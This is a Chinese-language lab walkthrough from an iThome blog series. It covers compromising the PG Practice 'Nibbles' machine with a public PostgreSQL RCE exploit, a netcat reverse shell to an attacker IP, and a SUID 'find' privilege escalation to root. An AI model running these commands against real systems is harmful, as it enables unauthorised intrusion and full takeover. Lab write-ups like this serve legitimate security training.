iT邦幫忙

2025 iThome 鐵人賽

DAY 10
0
Security

滲透探險 30 天:靶機挑戰記系列 第 10

PG Practice: Nibbles 攻略

  • 分享至 

  • xImage
  •  

Recon

打靶機的起手式就是來看看有甚麼服務是開啟的
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.189.47 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.189.47 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.189.47 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.189.47 -type recon;

https://ithelp.ithome.com.tw/upload/images/20250923/20178791fUlsQxHEj2.png
https://ithelp.ithome.com.tw/upload/images/20250923/20178791F8VqNIwuEh.png

FFUF 的結果
https://ithelp.ithome.com.tw/upload/images/20250923/20178791gpQdcJ32GS.png

Port 80 有一個網站服務,看看是甚麼 http://nibbles/
https://ithelp.ithome.com.tw/upload/images/20250923/20178791GSlfHfdQRd.png

Initial Access

Port 5437 上面跑了一個 PostgreSQL DB 11.3-11.9
先 google 看看有沒有相關的 exploit code 吧
在 exploit DB上面找到一個可以 RCE 的 code (There is an exploit code https://www.exploit-db.com/exploits/50847),他的適用版本為 9.3-11.7,有涵蓋部分 nmap 判定的版本
不過這個 code 需要有效使用者,先用預設的看看吧

python3 50847.py -i $tIP -p 5437 -c id

https://ithelp.ithome.com.tw/upload/images/20250923/2017879182DiHMhEzL.png

id 指令看來有被順利執行
那接下來就是設定監聽,拿到 reverse shell 了

python3 50847.py -i $tIP -p 5437 -c "nc -nv 192.168.45.195 22 -e /bin/bash"

順利拿到 reverse shell 後就是升級成 PTY shell,方便我們做提權
記得拿 flag

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=linux; alias ll='clear;ls -alhst --color=auto'

https://ithelp.ithome.com.tw/upload/images/20250923/20178791n6FxcBoT2A.png
https://ithelp.ithome.com.tw/upload/images/20250923/20178791z5Xi0BT0QB.png

Privilege Escalation

上傳 Linpeas 後,在 SUID 的部分有看到 find 變成黃底
https://ithelp.ithome.com.tw/upload/images/20250923/20178791IG3rQP6tzB.png

接著就是上 GTFObin 去找提權語法 https://gtfobins.github.io/gtfobins/find/#suid
順利拿到 root flag
打完收工~

/usr/bin/find . -exec /bin/sh -p \; -quit

https://ithelp.ithome.com.tw/upload/images/20250923/201787910O1nES7Atw.png
https://ithelp.ithome.com.tw/upload/images/20250923/20178791VlqupKPGkP.png


上一篇
PG Practice: Wombo 攻略
下一篇
PG Practice: Hawat 攻略
系列文
滲透探險 30 天:靶機挑戰記12
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言